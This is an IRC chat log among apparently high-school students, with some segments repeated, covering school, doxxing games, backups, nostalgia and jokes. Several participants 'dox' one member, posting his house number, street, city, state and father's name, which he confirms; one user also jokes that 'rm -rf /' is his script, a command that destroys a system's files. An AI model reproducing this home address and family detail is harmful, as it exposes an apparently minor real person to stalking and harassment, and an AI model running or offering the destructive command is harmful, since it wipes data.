[2015-04-15T22:21:33-0400] <jwoglom> :P
[2015-04-15T22:21:34-0400] <fwilson> no
[2015-04-15T22:22:51-0400] <j> ah got jwoglom address
[2015-04-15T22:23:10-0400] <jwoglom> what street
[2015-04-15T22:23:30-0400] <LittleBobbyTables> "dumpplhere blvd"
[2015-04-15T22:24:10-0400] <j> 9631 is the house number
[2015-04-15T22:24:14-0400] <jwoglom> j: false
[2015-04-15T22:24:18-0400] <j> j: true
[2015-04-15T22:24:23-0400] <j> !false
[2015-04-15T22:25:08-0400] <j> oh wait
[2015-04-15T22:25:10-0400] <j> 9644
[2015-04-15T22:26:54-0400] <jwoglom> yes
[2015-04-15T22:27:18-0400] <j> father name is George
[2015-04-15T22:28:16-0400] <j> k about 2 miles to there, fwilson: be there.
[2015-04-15T22:28:23-0400] <fwilson> T_T
[2015-04-15T22:28:31-0400] <bob_twinkles> are we playing "dox jwoglom" again
[2015-04-15T22:28:43-0400] <j> not too difficult
[2015-04-15T22:29:20-0400] <jwoglom> my last name is pretty unique, lol
[2015-04-15T22:29:26-0400] <fwilsonn> don't mind me
[2015-04-15T22:29:29-0400] <fwilsonn> just ban evading
[2015-04-15T22:29:35-0400] <j> u wot
[2015-04-15T22:29:43-0400] <jwoglom> how'd you get banned on pdgn lol
[2015-04-15T22:29:51-0400] <j> oh ban in #java
[2015-04-15T22:30:03-0400] <j> awe: requesting re-op in #java
[2015-04-15T22:30:43-0400] <fwilson> same ^
[2015-04-15T22:30:44-0400] <fwilson> i'd also like op
[2015-04-15T22:33:37-0400] <assface> hello jesus
[2015-04-15T22:33:58-0400] <fwilson> hello assface 
[2015-04-15T22:40:18-0400] <assface> JEEBUS SPEEX
[2015-04-15T22:40:25-0400] <assface> HALL OF LUYAH
[2015-04-15T22:41:09-0400] <alokpathy> wat
[2015-04-15T23:05:46-0400] <LittleBobbyTables> My phone was taken away from me by my private high school's principal back in 2007. It happened on a Friday during lunch. This was the second time I had gotten caught with it that week. She said I wouldn't get it back until Monday.
[2015-04-15T23:05:46-0400] <LittleBobbyTables> I went into the office after school was done. She was in there and I think pretty much expecting me. I asked if I could use the office's phone since mine wasn't available. Assuming I was calling my parents, she said sure and told me if they had any questions she would be happy to talk to them for me.
[2015-04-15T23:05:46-0400] <LittleBobbyTables> I ignored her and called the police. As soon as she heard me saying I would like to report a theft she freaked, got on the other line, and started apologizing immediately. She said a student was just making a prank call.
[2015-04-15T23:05:46-0400] <LittleBobbyTables> Anyway when she hung up she was about to let me have it. But before she could say anything, I told her I was just going to report it when I got home anyway. Her face changed and then she gave it back to me pretending like she was never going to keep it anyway. She died two years later.
[2015-04-15T23:21:53-0400] Mode is +nrt
[2015-04-15T23:32:37-0400] <+awe> LittleBobbyTables: so, you killed her?
[2015-04-15T23:33:00-0400] <LittleBobbyTables> No....
[2015-04-15T23:33:13-0400] <+awe> It sounds to me like you killed her.
[2015-04-15T23:34:09-0400] <LittleBobbyTables> It was cancer.
[2015-04-15T23:34:24-0400] <LittleBobbyTables> No, I didn't just give her cancer either.
[2015-04-15T23:34:35-0400] <+awe> Oh, okay.
[2015-04-15T23:35:17-0400] <+awe> LittleBobbyTables: I've really never understood this whole thing where schools think they're allowed to seize your property.
[2015-04-15T23:35:27-0400] <LittleBobbyTables> Well, they're able to.
[2015-04-15T23:35:43-0400] <LittleBobbyTables> Keeping it from you though, that part is illegal.
[2015-04-15T23:35:51-0400] <bob_twinkles> you're stripped of most of your rights as soon as you walk in the door
[2015-04-15T23:36:37-0400] <+awe> bob_twinkles: Not at a private school.
[2015-04-15T23:37:00-0400] <LittleBobbyTables> Especially.
[2015-04-15T23:37:22-0400] <LittleBobbyTables> It's easier for them to do certain things because they're not government employees.
[2015-04-15T23:37:24-0400] <+awe> I mean they can enforce things that you agree to, but they can't keep your property.
[2015-04-15T23:37:46-0400] <+awe> There's case law precedent that allows public schools to do stupid things like keep your property.
[2015-04-15T23:45:42-0400] <kenzierocks> jwoglom: what's actually your address, apparently i don't recon well
[2015-04-15T23:45:52-0400] <jwoglom> kenzierocks: why do you want to know
[2015-04-15T23:45:54-0400] <jwoglom> lol
[2015-04-15T23:46:07-0400] <jwoglom> also like, googling it would not be hard at all
[2015-04-15T23:46:21-0400] <kenzierocks> just because it was easy to find apparently
[2015-04-15T23:46:25-0400] <kenzierocks> i suck at recon
[2015-04-15T23:46:29-0400] <kenzierocks> except for weird ones
[2015-04-15T23:46:42-0400] <jwoglom> like, my dad has a business website that has my address :P
[2015-04-15T23:47:56-0400] <kenzierocks> but i cant find that
[2015-04-15T23:48:03-0400] <kenzierocks> only this "docwoglom"
[2015-04-15T23:51:08-0400] <kenzierocks> yea i got nothing
[2015-04-15T23:51:13-0400] <kenzierocks> gg no re
[2015-04-15T23:51:28-0400] <kenzierocks> i found Tamini on keybase
[2015-04-15T23:53:47-0400] <+awe> jwoglom: 9644 Boyett Court, Fairfax, Virginia, right?
[2015-04-15T23:53:54-0400] <kenzierocks> ;_;
[2015-04-15T23:53:59-0400] <kenzierocks> stop making me fell worse
[2015-04-15T23:54:02-0400] <kenzierocks> feel*
[2015-04-15T23:54:04-0400] <jwoglom> awe: yes
[2015-04-15T23:54:17-0400] <+awe> I was having trouble remembering your mom's name. :p
[2015-04-15T23:54:28-0400] <kenzierocks> i don't know jwoglom 
[2015-04-15T23:54:29-0400] <jwoglom> kenzierocks: "woglom fairfax" :P
[2015-04-15T23:54:43-0400] <kenzierocks> i didn't know you lived in fairfax
[2015-04-15T23:54:45-0400] <kenzierocks> :|
[2015-04-15T23:54:48-0400] <+awe> I was searching Alexandria.
[2015-04-15T23:54:50-0400] <+awe> You'll still find him.
[2015-04-15T23:55:10-0400] <+awe> And if you didn't know he was in the general vicinity of Alexandria, well... I'm not sure how you wouldn't know that because TJ.
[2015-04-15T23:55:37-0400] <kenzierocks> ...i suck at recon
[2015-04-15T23:55:43-0400] <+awe> McLean also would've been a reasonable search.
[2015-04-15T23:55:43-0400] <jwoglom> i live in fairfax county (not city, which is separate from the county but inside the county and relies on the county), but actually live really close to burke
[2015-04-15T23:55:50-0400] <+awe> As would Falls Church.
[2015-04-15T23:55:59-0400] <jwoglom> the fact that I go to TJ makes it a bit harder
[2015-04-15T23:56:07-0400] <jwoglom> I could be anywhere from alexandria to prince william to arlington
[2015-04-15T23:56:20-0400] <+awe> Yeah.
[2015-04-15T23:56:25-0400] <+awe> But that's still a pretty small area.
[2015-04-15T23:56:30-0400] <+awe> Especially for a name like "woglom"
[2015-04-15T23:56:44-0400] <jwoglom> ha yeah
[2015-04-15T23:56:58-0400] <jwoglom> the only wogloms in this area to my knowledge are related to me
[2015-04-15T23:57:06-0400] <+awe> You live pretty close to George Mason.
[2015-04-15T23:57:20-0400] <jwoglom> i do
[2015-04-15T23:57:31-0400] <+awe> I live similarly close to Florida Gulf Coast University.
[2015-04-15T23:57:35-0400] <jwoglom> 5 minute drive
[2015-04-15T23:57:51-0400] <jwoglom> an hour walk too, though i've never tried that
[2015-04-15T23:59:20-0400] <jwoglom> oh yeah, i always forget that you're from florida awe
[2015-04-16T00:00:02-0400] <+awe> I mean, I'm not _actually_ from Florida.
[2015-04-16T00:00:06-0400] <+awe> I just live there.
[2015-04-16T00:00:26-0400] <jwoglom> well, as in your not-college location, i meant :P
[2015-04-16T00:00:30-0400] <+awe> Yeah.
[2015-04-16T00:01:04-0400] <jwoglom> why'd you decide to go all the way up to massachussets?
[2015-04-16T00:01:19-0400] <+awe> I lived in New Jersey when I decided to go to Massachusetts.
[2015-04-16T00:01:59-0400] <+awe> But primarily because UMass was the second highest ranking CS school I was admitted to, and also the cheapest.
[2015-04-16T00:02:23-0400] <+awe> It happened to accidentally be a really excellent choice.
[2015-04-16T00:02:51-0400] <+awe> jwoglom: you should dox me now
[2015-04-16T00:03:04-0400] <jwoglom> well i'm supposed to be doing homework :P
[2015-04-16T00:03:08-0400] <jwoglom> i'll do it some other time
[2015-04-16T00:04:02-0400] <+awe> Lame.
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[2015-04-16T00:23:01-0400] <LittleBobbyTables> awe
[2015-04-16T00:23:08-0400] <LittleBobbyTables> wanna buy me gtav instead of an ssd?
[2015-04-16T00:30:00-0400] <+awe> LittleBobbyTables: nah
[2015-04-16T00:30:05-0400] <+awe> LittleBobbyTables: but good choice
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[2015-04-15T23:53:55-0400] <kenzierocks> ;_;
[2015-04-15T23:54:00-0400] <kenzierocks> stop making me fell worse
[2015-04-15T23:54:03-0400] <kenzierocks> feel*
[2015-04-15T23:54:05-0400] <jwoglom> awe: yes
[2015-04-15T23:54:18-0400] <+awe> I was having trouble remembering your mom's name. :p
[2015-04-15T23:54:29-0400] <kenzierocks> i don't know jwoglom 
[2015-04-15T23:54:31-0400] <jwoglom> kenzierocks: "woglom fairfax" :P
[2015-04-15T23:54:44-0400] <kenzierocks> i didn't know you lived in fairfax
[2015-04-15T23:54:46-0400] <kenzierocks> :|
[2015-04-15T23:54:49-0400] <+awe> I was searching Alexandria.
[2015-04-15T23:54:51-0400] <+awe> You'll still find him.
[2015-04-15T23:55:11-0400] <+awe> And if you didn't know he was in the general vicinity of Alexandria, well... I'm not sure how you wouldn't know that because TJ.
[2015-04-15T23:55:38-0400] <kenzierocks> ...i suck at recon
[2015-04-15T23:55:44-0400] <+awe> McLean also would've been a reasonable search.
[2015-04-15T23:55:44-0400] <jwoglom> i live in fairfax county (not city, which is separate from the county but inside the county and relies on the county), but actually live really close to burke
[2015-04-15T23:55:51-0400] <+awe> As would Falls Church.
[2015-04-15T23:56:00-0400] <jwoglom> the fact that I go to TJ makes it a bit harder
[2015-04-15T23:56:08-0400] <jwoglom> I could be anywhere from alexandria to prince william to arlington
[2015-04-15T23:56:21-0400] <+awe> Yeah.
[2015-04-15T23:56:26-0400] <+awe> But that's still a pretty small area.
[2015-04-15T23:56:31-0400] <+awe> Especially for a name like "woglom"
[2015-04-15T23:56:45-0400] <jwoglom> ha yeah
[2015-04-15T23:56:59-0400] <jwoglom> the only wogloms in this area to my knowledge are related to me
[2015-04-15T23:57:07-0400] <+awe> You live pretty close to George Mason.
[2015-04-15T23:57:21-0400] <jwoglom> i do
[2015-04-15T23:57:32-0400] <+awe> I live similarly close to Florida Gulf Coast University.
[2015-04-15T23:57:36-0400] <jwoglom> 5 minute drive
[2015-04-15T23:57:52-0400] <jwoglom> an hour walk too, though i've never tried that
[2015-04-15T23:59:21-0400] <jwoglom> oh yeah, i always forget that you're from florida awe
[2015-04-16T00:00:03-0400] <+awe> I mean, I'm not _actually_ from Florida.
[2015-04-16T00:00:07-0400] <+awe> I just live there.
[2015-04-16T00:00:27-0400] <jwoglom> well, as in your not-college location, i meant :P
[2015-04-16T00:00:31-0400] <+awe> Yeah.
[2015-04-16T00:01:05-0400] <jwoglom> why'd you decide to go all the way up to massachussets?
[2015-04-16T00:01:20-0400] <+awe> I lived in New Jersey when I decided to go to Massachusetts.
[2015-04-16T00:02:00-0400] <+awe> But primarily because UMass was the second highest ranking CS school I was admitted to, and also the cheapest.
[2015-04-16T00:02:25-0400] <+awe> It happened to accidentally be a really excellent choice.
[2015-04-16T00:02:53-0400] <+awe> jwoglom: you should dox me now
[2015-04-16T00:03:05-0400] <jwoglom> well i'm supposed to be doing homework :P
[2015-04-16T00:03:09-0400] <jwoglom> i'll do it some other time
[2015-04-16T00:04:03-0400] <+awe> Lame.
[2015-04-16T00:23:02-0400] <LittleBobbyTables> awe
[2015-04-16T00:23:09-0400] <LittleBobbyTables> wanna buy me gtav instead of an ssd?
[2015-04-16T00:30:01-0400] <+awe> LittleBobbyTables: nah
[2015-04-16T00:30:07-0400] <+awe> LittleBobbyTables: but good choice
[2015-04-16T00:30:15-0400] <LittleBobbyTables> What if I give you a hug
[2015-04-16T00:42:17-0400] <LittleBobbyTables> in real life
[2015-04-16T00:42:19-0400] <LittleBobbyTables> not fake life
[2015-04-16T00:42:54-0400] <assface> awe you should give me $600 for a pc upgrade
[2015-04-16T00:43:20-0400] <LittleBobbyTables> Why not just spend 100 dollars more and get a better, new computer
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[2015-04-16T00:55:14-0400] <+awe> Why are you guys asking me for money?
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[2015-04-16T01:07:23-0400] <LittleBobbyTables> Because you're willing to give it out.
[2015-04-16T01:07:26-0400] <LittleBobbyTables> If you had it.
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[2015-04-16T08:18:55-0400] <JacobEdelman> awe: you know
[2015-04-16T08:19:04-0400] <JacobEdelman> some of the opinions you hold would be seen as lacking common sense
[2015-04-16T08:19:06-0400] <JacobEdelman> just saying
[2015-04-16T08:19:07-0400] <JacobEdelman> :P
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[2015-04-16T11:10:46-0400] <kenzierocks> u killed tamini
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[2015-04-16T11:11:31-0400] <~awe> kenzierocks: She'll be back.
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[2015-04-16T11:10:46-0400] <kenzierocks> u killed tamini
[2015-04-16T11:11:32-0400] <~awe> kenzierocks: She'll be back.
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[2015-04-16T13:23:10-0400] <j> awebot gone? :(
[2015-04-16T13:23:42-0400] <~awe> O.
[2015-04-16T13:23:43-0400] <~awe> Right.
[2015-04-16T13:23:45-0400] <~awe> I forgot to rerun awebot.
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[2015-04-16T13:24:18-0400] <j> also, can you op me in #java? I lost it when someone recovered my nick...
[2015-04-16T13:24:45-0400] <j> ty
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[2015-04-16T11:10:46-0400] <kenzierocks> u killed tamini
[2015-04-16T11:11:32-0400] <~awe> kenzierocks: She'll be back.
[2015-04-16T13:23:12-0400] <j> awebot gone? :(
[2015-04-16T13:23:44-0400] <~awe> O.
[2015-04-16T13:23:45-0400] <~awe> Right.
[2015-04-16T13:23:47-0400] <~awe> I forgot to rerun awebot.
[2015-04-16T13:24:20-0400] <j> also, can you op me in #java? I lost it when someone recovered my nick...
[2015-04-16T13:24:47-0400] <j> ty
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[2015-04-16T14:41:27-0400] <bob_twinkles> should write a service file for the bot
[2015-04-16T14:42:41-0400] <~awe> bob_twinkles: probably.
[2015-04-16T14:44:06-0400] <bob_twinkles> what distro are you running?
[2015-04-16T14:44:18-0400] <bob_twinkles> well, more importantly what init system
[2015-04-16T14:48:53-0400] <~awe> Ubuntu
[2015-04-16T14:50:17-0400] <bob_twinkles> uh... I can't remember if they've SystemD'd yet
[2015-04-16T14:50:53-0400] <bob_twinkles> if not the old sysvinit scripts are super simple to write, you can copy like 90% of it from the ssh service file and use start-stop-daemon
[2015-04-16T14:51:15-0400] <grantwu> Wait awe!
[2015-04-16T14:51:18-0400] <grantwu> You offer ZNC?
[2015-04-16T14:51:21-0400] <~awe> Yeah.
[2015-04-16T14:51:30-0400] <~awe> bob_twinkles: upstart
[2015-04-16T14:52:26-0400] <bob_twinkles> hmm.... I don't know if I've ever written an upstart service file actually
[2015-04-16T15:00:51-0400] <grantwu> awe: Wait, hrm, can I get in on this
[2015-04-16T15:00:57-0400] <~awe> Yes, but not right now.
[2015-04-16T15:01:15-0400] <grantwu> Alright
[2015-04-16T15:01:25-0400] <grantwu> Hrm, I was considering just making my own
[2015-04-16T15:01:41-0400] <grantwu> But computer club currently has too many infra problems to start offering new services ._.
[2015-04-16T15:03:40-0400] <~awe> Bug me about it later tonight. Probably around 10 PM-ish.
[2015-04-16T15:30:44-0400] <grantwu> awe: I can wait, honestly
[2015-04-16T15:31:07-0400] <~awe> Sure.
[2015-04-16T15:31:19-0400] <~awe> I'm just not going to be around until like 10 in a sec.
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[2015-04-16T21:43:53-0400] <LittleBobbyTables> Ancient cultures, including those of the Romans and Hindus, celebrated New Year's Day on or around April 1. It closely follows the vernal equinox (March 20th or March 21st.) In medieval times, much of Europe celebrated March 25, the Feast of Annunciation, as the beginning of the new year.
[2015-04-16T21:43:53-0400] <LittleBobbyTables> In 1582, Pope Gregory XIII ordered a new calendar (the Gregorian Calendar) to replace the old Julian Calendar. The new calendar called for New Year's Day to be celebrated Jan. 1. That year, France adopted the reformed calendar and shifted New Year's day to Jan. 1. According to a popular explanation, many people either refused to accept the new date, or did
[2015-04-16T21:43:53-0400] <LittleBobbyTables> not learn about it, and continued to celebrate New Year's Day on April 1. Other people began to make fun of these traditionalists, sending them on "fool's errands" or trying to trick them into believing something false. Eventually, the practice spread throughout Europe.
[2015-04-16T21:43:54-0400] <LittleBobbyTables> Read more: April Fools' Day: Origin and History http://www.infoplease.com/spot/aprilfools1.html#ixzz3XWiv2d6x
[2015-04-16T21:43:56-0400] <JacobEdelman> LittleBobbyTables: wait, wat?
[2015-04-16T21:44:02-0400] <LittleBobbyTables> tablets are for losers
[2015-04-16T21:44:04-0400] <JacobEdelman> jwoglom: LBT just uses a mouse
[2015-04-16T21:44:12-0400] <JacobEdelman> jwoglom: and is one of the best osu players in the world
[2015-04-16T21:44:17-0400] <jwoglom> damn
[2015-04-16T21:44:18-0400] <JacobEdelman> and also the best or something for mouse users
[2015-04-16T21:44:20-0400] <JacobEdelman> I think
[2015-04-16T21:44:24-0400] <jwoglom> you should try using a touchpad!1!!1!
[2015-04-16T21:44:30-0400] <JacobEdelman> LittleBobbyTables: are you the best non-touchpad person?
[2015-04-16T21:44:33-0400] <LittleBobbyTables> ya
[2015-04-16T21:44:40-0400] <JacobEdelman> thought so
[2015-04-16T21:44:45-0400] <LittleBobbyTables> err
[2015-04-16T21:44:49-0400] <LittleBobbyTables> ish
[2015-04-16T21:44:51-0400] <JacobEdelman> ?
[2015-04-16T21:47:14-0400] <LittleBobbyTables> wolf is up there too
[2015-04-16T21:47:52-0400] <JacobEdelman> who is?
[2015-04-16T21:49:29-0400] <LittleBobbyTables> wubwoofwolk
[2015-04-16T21:49:36-0400] <LittleBobbyTables> wolf*
[2015-04-16T21:49:54-0400] <fwilson> rsync -rv --delete --exclude-from=/home/fwilson/dotfiles/backup-excludes /home/fwilson fwilson.me:dipper-backup
[2015-04-16T21:49:57-0400] <fwilson> that's my script
[2015-04-16T21:50:21-0400] <j> rm -rf /
[2015-04-16T21:50:24-0400] <j> that's my script
[2015-04-16T21:50:29-0400] <JacobEdelman> wait
[2015-04-16T21:50:34-0400] <JacobEdelman> I should show you my cron file
[2015-04-16T21:51:05-0400] <jwoglom> fwilson: i use crashplan..which is great except ugh java pls
[2015-04-16T21:51:14-0400] <fwilson> jwoglom: i like my script better lol
[2015-04-16T21:51:27-0400] <jwoglom> fwilson: does yours give you UNLIMITED SPACE?!?!?!
[2015-04-16T21:51:31-0400] <fwilson> uh
[2015-04-16T21:51:33-0400] <fwilson> no?
[2015-04-16T21:51:44-0400] <fwilson> but i have 1.5TB on this machine
[2015-04-16T21:52:36-0400] <LittleBobbyTables> noob
[2015-04-16T21:55:05-0400] <JacobEdelman> so
[2015-04-16T21:55:11-0400] <JacobEdelman> does microsoft bob have a video player?
[2015-04-16T21:55:19-0400] <JacobEdelman> cause I wanna play the star wars holida speciail with it
[2015-04-16T21:55:20-0400] <jwoglom> JacobEdelman: i don't think so
[2015-04-16T21:55:23-0400] <JacobEdelman> ahhh
[2015-04-16T21:55:29-0400] <jwoglom> but you can add shortcuts to run other windows applications
[2015-04-16T21:55:36-0400] <JacobEdelman> hmm, I may do just that
[2015-04-16T21:55:40-0400] <JacobEdelman> installing windows for now
[2015-04-16T21:55:45-0400] <JacobEdelman> well, gtg
[2015-04-16T21:55:52-0400] <jwoglom> there's a word processor, (nonfunctional) email app, notes app, calendar, and plenty more :P
[2015-04-16T21:57:33-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=kMbLImbrjgQ
[2015-04-16T22:10:53-0400] <fwilson> @bob.com
[2015-04-16T22:11:12-0400] <jwoglom> lol ms used to own that
[2015-04-16T22:12:55-0400] <JacobEdelman> gnight all
[2015-04-16T22:14:49-0400] <fwilson> from #tjhsst: http://stackoverflow.com/questions/4456438/how-do-i-correctly-pass-the-string-null-an-employees-proper-surname-to-a-so
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[2015-04-16T22:54:18-0400] <~awe> So, who's graduating high school this year and where are you going for uni?
[2015-04-16T22:54:43-0400] <fwilson> not me
[2015-04-16T22:54:54-0400] <fwilson> but i'd like to point out that university is not a mandatory thing :P
[2015-04-16T22:55:22-0400] <~awe> "I'm not." is a totally valid answer.
[2015-04-16T23:01:41-0400] <alokpathy> I think the only seniors here are me and bob_twinkles, actually
[2015-04-16T23:01:49-0400] <alokpathy> A lot of juniors.
[2015-04-16T23:02:01-0400] <LittleBobbyTables> I'm not graduating high school this year.
[2015-04-16T23:02:19-0400] <jwoglom> yay junior year
[2015-04-16T23:02:19-0400] <fwilson> 420 graduate daily
[2015-04-16T23:03:20-0400] <~awe> LittleBobbyTables: lol
[2015-04-16T23:13:26-0400] <alokpathy> Are Heelys still a thing?
[2015-04-16T23:15:35-0400] <jwoglom> i mean i think they still exist
[2015-04-16T23:15:41-0400] <jwoglom> they were a big thing when i was in like 1st-2nd grade
[2015-04-16T23:15:45-0400] <alokpathy> Yeah same
[2015-04-16T23:15:52-0400] <~awe> I had them in fifth grade.
[2015-04-16T23:15:54-0400] <~awe> Wore them everywhere.
[2015-04-16T23:15:57-0400] <~awe> We weren't allowed to at school.
[2015-04-16T23:16:01-0400] <~awe> But I still heely'd man.
[2015-04-16T23:16:03-0400] <~awe> I heely'd so hard.
[2015-04-16T23:16:16-0400] <alokpathy> ^
[2015-04-16T23:16:26-0400] <alokpathy> Heelys were actually the best.
[2015-04-16T23:16:47-0400] <jwoglom> lol i remember using them in elementary school
[2015-04-16T23:16:51-0400] <jwoglom> but then i think they got banned
[2015-04-16T23:17:01-0400] <alokpathy> awe: Are Heelys and effective way to move around a college campus? :P
[2015-04-16T23:17:04-0400] <alokpathy> an*
[2015-04-16T23:17:06-0400] <jwoglom> i also remember Tamagatchis
[2015-04-16T23:17:08-0400] <jwoglom> from like 2nd grade
[2015-04-16T23:17:15-0400] <alokpathy> Oh those weren't a big thing in my friend group
[2015-04-16T23:17:21-0400] <alokpathy> but were in basically every other group xd
[2015-04-16T23:17:28-0400] <alokpathy> xD
[2015-04-16T23:17:40-0400] <jwoglom> i probably still have mine in a closet somewhere :P
[2015-04-16T23:18:31-0400] <alokpathy> I remember playing Pokemon on my Game Boy religiously.
[2015-04-16T23:18:50-0400] <alokpathy> Nostalgia's hitting hard
[2015-04-16T23:19:35-0400] <jwoglom> heh
[2015-04-16T23:19:45-0400] <jwoglom> i never owned a gameboy/ds unlike a few of my friends
[2015-04-16T23:20:28-0400] <~awe> alokpathy: prolly
[2015-04-16T23:20:50-0400] <~awe> alokpathy: Honestly, I recommend getting a bike.
[2015-04-16T23:21:23-0400] <alokpathy> jwoglom: You should get one and play Pokemon everyday during the summer :P
[2015-04-16T23:21:30-0400] <alokpathy> awe: Or I could be hipster and use Heelys LOL
[2015-04-16T23:21:37-0400] <alokpathy> Do they even sell Heelys in larger sizes?
[2015-04-16T23:22:04-0400] <jwoglom> alokpathy: heh, if i were to do that i'd probably just use emulators :P
[2015-04-16T23:22:10-0400] <alokpathy> No no
[2015-04-16T23:22:13-0400] <alokpathy> it has to be authentic
[2015-04-16T23:26:11-0400] <~awe> alokpathy: they do
[2015-04-16T23:28:32-0400] <alokpathy> Ayy
[2015-04-16T23:28:38-0400] <alokpathy> I know what I'm wearing to college next year.
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[2015-04-17T00:00:14-0400] <LittleBobbyTables> clothes?
[2015-04-17T00:01:14-0400] <alokpathy> Nah
[2015-04-17T00:01:17-0400] <alokpathy> Those are overrated.
[2015-04-17T00:01:50-0400] <jwoglom> i don't think there are many clothing-optional colleges
[2015-04-17T00:02:33-0400] <alokpathy> GT is one of them.
[2015-04-17T00:04:07-0400] <alokpathy> ...what am I saying
[2015-04-17T00:09:57-0400] <LittleBobbyTables> I know where I'm going to school
[2015-04-17T00:13:51-0400] <LittleBobbyTables> Some girl asked to borrow my external harddrive. Does this mean she wants the D:\?
[2015-04-17T00:27:40-0400] <j> -_-
[2015-04-17T00:27:59-0400] <~awe> LittleBobbyTables: No, she wants the F:\.
[2015-04-17T00:27:59-0400] <LittleBobbyTables> ^_^
[2015-04-17T00:28:04-0400] <~awe> LittleBobbyTables: who maps their drive to D?
[2015-04-17T00:28:11-0400] <LittleBobbyTables> Windows does by default
[2015-04-17T00:28:33-0400] <~awe> Everyone should do F or Q.
[2015-04-17T00:30:07-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=6BtI4E0iIzU
[2015-04-17T00:30:08-0400] <j> I have a D:\ drive apparently... http://puu.sh/hgL5t/07ac781b66.png
[2015-04-17T00:30:18-0400] <LittleBobbyTables> fucking rekt
[2015-04-17T00:31:47-0400] <~awe> j: you've got an awfully small D.
[2015-04-17T00:32:10-0400] <alokpathy> rekt
[2015-04-17T00:32:59-0400] <LittleBobbyTables> >0
[2015-04-17T00:33:17-0400] <LittleBobbyTables> That's smaller than me thumb drive.
[2015-04-17T00:35:51-0400] <LittleBobbyTables> yes me. Not my
[2015-04-17T00:36:33-0400] <j> I can't find where the hell this drive is....
[2015-04-17T00:36:50-0400] <kenzierocks> it's probably your empty disk drive
[2015-04-17T00:36:59-0400] <kenzierocks> (if you have a disk drive)
[2015-04-17T00:37:35-0400] <j> I don't
[2015-04-17T00:37:48-0400] <LittleBobbyTables> You obviously do
[2015-04-17T00:37:56-0400] <j> nope
[2015-04-17T00:39:57-0400] <LittleBobbyTables> ugh
[2015-04-17T00:40:01-0400] <LittleBobbyTables> i need to do this homework
[2015-04-17T00:40:25-0400] <j> nerd
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[2015-04-17T00:41:19-0400] j is now known as JacobEdelman
[2015-04-17T00:41:28-0400] <JacobEdelman> Ah yis
[2015-04-17T00:41:40-0400] LittleBobbyTables is now known as j
[2015-04-17T00:41:45-0400] <j> damn you registering this
[2015-04-17T00:41:48-0400] j is now known as LittleBobbyTables
[2015-04-17T00:41:52-0400] <alokpathy> lolol
[2015-04-17T00:42:15-0400] <JacobEdelman> hsctf sucks
[2015-04-17T00:42:17-0400] <JacobEdelman> i suck
[2015-04-17T00:42:21-0400] <JacobEdelman> i am stupid
[2015-04-17T00:42:57-0400] LittleBobbyTables is now known as j
[2015-04-17T00:42:59-0400] <j> I'm a skid
[2015-04-17T00:43:00-0400] j is now known as LittleBobbyTables
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[2015-04-17T00:43:11-0400] <j> b-b-but
[2015-04-17T00:45:33-0400] <LittleBobbyTables> rekt
[2015-04-17T00:50:01-0400] <j> wow my basement internet sucks http://puu.sh/hgLY7/ca8d5c7703.png
[2015-04-17T00:52:54-0400] <LittleBobbyTables> nou
[2015-04-17T00:53:35-0400] <LittleBobbyTables> That's also better than my internet.
[2015-04-17T00:57:54-0400] <LittleBobbyTables> i need to find a fahrenheit 451 pdf
[2015-04-17T00:57:56-0400] <LittleBobbyTables> that has the parts
[2015-04-17T01:03:56-0400] <j> https://d3jc3ahdjad7x7.cloudfront.net/zQHI8oxlODGZZV6i4gCTGcwMwPUeUBv8ospIzIcc4ZmACSYj.pdf
[2015-04-17T01:06:24-0400] <LittleBobbyTables> "with the parts"
[2015-04-17T01:06:43-0400] <LittleBobbyTables> It's also like 50 pages short lol
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[2015-04-16T23:28:33-0400] <alokpathy> Ayy
[2015-04-16T23:28:39-0400] <alokpathy> I know what I'm wearing to college next year.
[2015-04-17T00:00:15-0400] <LittleBobbyTables> clothes?
[2015-04-17T00:01:14-0400] <alokpathy> Nah
[2015-04-17T00:01:17-0400] <alokpathy> Those are overrated.
[2015-04-17T00:01:51-0400] <jwoglom> i don't think there are many clothing-optional colleges
[2015-04-17T00:02:33-0400] <alokpathy> GT is one of them.
[2015-04-17T00:04:07-0400] <alokpathy> ...what am I saying
[2015-04-17T00:09:57-0400] <LittleBobbyTables> I know where I'm going to school
[2015-04-17T00:13:52-0400] <LittleBobbyTables> Some girl asked to borrow my external harddrive. Does this mean she wants the D:\?
[2015-04-17T00:27:40-0400] <j> -_-
[2015-04-17T00:27:59-0400] <@awe> LittleBobbyTables: No, she wants the F:\.
[2015-04-17T00:28:00-0400] <LittleBobbyTables> ^_^
[2015-04-17T00:28:04-0400] <@awe> LittleBobbyTables: who maps their drive to D?
[2015-04-17T00:28:11-0400] <LittleBobbyTables> Windows does by default
[2015-04-17T00:28:33-0400] <@awe> Everyone should do F or Q.
[2015-04-17T00:30:07-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=6BtI4E0iIzU
[2015-04-17T00:30:08-0400] <j> I have a D:\ drive apparently... http://puu.sh/hgL5t/07ac781b66.png
[2015-04-17T00:30:19-0400] <LittleBobbyTables> fucking rekt
[2015-04-17T00:31:47-0400] <@awe> j: you've got an awfully small D.
[2015-04-17T00:32:10-0400] <alokpathy> rekt
[2015-04-17T00:33:00-0400] <LittleBobbyTables> >0
[2015-04-17T00:33:17-0400] <LittleBobbyTables> That's smaller than me thumb drive.
[2015-04-17T00:35:51-0400] <LittleBobbyTables> yes me. Not my
[2015-04-17T00:36:33-0400] <j> I can't find where the hell this drive is....
[2015-04-17T00:36:51-0400] <kenzierocks> it's probably your empty disk drive
[2015-04-17T00:36:59-0400] <kenzierocks> (if you have a disk drive)
[2015-04-17T00:37:36-0400] <j> I don't
[2015-04-17T00:37:48-0400] <LittleBobbyTables> You obviously do
[2015-04-17T00:37:56-0400] <j> nope
[2015-04-17T00:39:57-0400] <LittleBobbyTables> ugh
[2015-04-17T00:40:01-0400] <LittleBobbyTables> i need to do this homework
[2015-04-17T00:40:26-0400] <j> nerd
[2015-04-17T00:41:28-0400] <JacobEdelman> Ah yis
[2015-04-17T00:41:45-0400] <j> damn you registering this
[2015-04-17T00:41:52-0400] <alokpathy> lolol
[2015-04-17T00:42:15-0400] <JacobEdelman> hsctf sucks
[2015-04-17T00:42:18-0400] <JacobEdelman> i suck
[2015-04-17T00:42:22-0400] <JacobEdelman> i am stupid
[2015-04-17T00:42:59-0400] <j> I'm a skid
[2015-04-17T00:43:11-0400] <j> b-b-but
[2015-04-17T00:45:33-0400] <LittleBobbyTables> rekt
[2015-04-17T00:50:02-0400] <j> wow my basement internet sucks http://puu.sh/hgLY7/ca8d5c7703.png
